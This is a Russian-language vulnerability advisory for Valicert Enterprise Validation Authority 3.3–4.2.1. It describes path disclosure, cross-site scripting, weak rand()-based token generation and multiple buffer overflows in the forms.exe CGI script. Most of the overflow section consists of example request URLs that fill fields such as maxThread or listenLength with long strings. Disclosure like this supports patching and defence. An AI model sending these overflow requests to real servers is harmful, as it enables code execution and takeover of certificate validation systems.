Valicert Enterprise VA обеспечивает проверку для X.509
удостоверений и поддерживает следующие
механизмы проверки: 

— Certificate Revocation Lists
— CRL Distribution Points
— Online Certificate Status Protocol

Найдено несколько уязвимостей в продукте:

1. Раскрытие пути

Проблема раскрытия пути существует в CGI
сценарии forms.exe, который используется при
добавлении нового расширения. Следующий URL:

http://computer:13333/cgi-bin/forms.exe?Extension=foobar*command=Add 

Возвращает страницу ошибки со следующим
текстом: 

Following Input/Configuration file is NOT FOUND in the required location.

FILENAME = foobar
LOCATION = D:\Program Files\ValiCert\EnterpriseVA\entserv

Make sure the file is present in the above location and try again.

2. Проблемы межсайтового скриптинга

Из-за недостатка входной проверки
правильности и фильтрации, существует
проблема межсайтового скриптинга в
создании свидетельства в административном
интерфейсе Valicert. Пользователь, создающий
свидетельство может вставлять HTML код в поля.
Хотя при этом и не возможно обратиться к
неправомочным ресурсам, проблема может
использоваться для манипуляции важными
данными. 

3. Проблема случайной генерации ключей

Valicert генерирует ‘случайные’ маркеры для
связи с Аппаратными Модулями Защиты
используя функцию C rand(). Кроме того, rand()
функция использует местное системное время.
Сам факт использования только системного
времени делает такие числа предсказуемыми.
Наконец, если устройство ‘/dev/urandom’
существует, Valicert будет использовать его для
порождения свидетельства. Хотя для
большинства целей устройство ‘/dev/urandom’
достаточно безопасно, оно не выполняет
блокирование, когда его энтропийный пул
низок. Учитывая, что в пределах PKI, не отказ (в
деловом, а не математическом смысле)
первостепенен, такое поведение устройства
‘/dev/random’ гораздо более подходяще.

4. Множественные переполнения буфера

Переполнение буфера существует в
подмодулях приложения form.exe: Mode, Certificate_File,
useExpiredCRLs, listenLength, maxThread, maxConnPerSite, maxMsgLen, exitTime,
blockTime, nextUpdatePeriod, buildLocal, maxOCSPValidityPeriod, extension.
Уязвимость позволяет выполнение
произвольного кода с системными правами.

Примеры (для перечисленных переменных):

http://localhost:13333/cgi-bin/forms.exe?forms.exe?command=change_index_mode&mode={A
x 265}

http://localhost:13333/cgi-bin/forms.exe?CertServerSelection
=Microsoft&Certificate_Type=SHARE&Certificate_Files
={A x 1028}&command=Submit+Certificate+Type

http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread=16&maxConnPerSite=100&maxMsgLen
=20000&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs={A x 1288}&maxOCSPValidityPeriod
=0&command=Submit+Configuration+Parameters

http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength={A x 1288}&maxThread=16&maxConnPerSite=100&maxMsgLen
=20000&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters

http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread={A x 1288}&maxConnPerSite=100&maxMsgLen
=20000&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters

http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread=16&maxConnPerSite={A x 1288}&maxMsgLen
=20000&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters

http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread=16&maxConnPerSite=100&maxMsgLen
={A x 1288}&exitTime=-1&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters

http://localhost:13333/cgi-bin/forms.exe?serverHost=computer&port
=80&listenLength=100&maxThread=16&maxConnPerSite=100&maxMsgLen
=20000&exitTime={A x 1288}&blockTime=5&nextUpdatePeriod=300&logFile
=logs%2Fva&buildLocal=1&useSoftwareSigning=Software&sslSigningType
=Software&sslServerHost=&sslCertFile=sslCert.cert&sslPrivateKey
=ssl.privkey&useExpiredCRLs=0&maxOCSPValidityPeriod=0&command
=Submit+Configuration+Parameters

Уязвимость найдена в Valicert Enterprise Validation Authority
3.3- 4.2.1.



Оставить мнение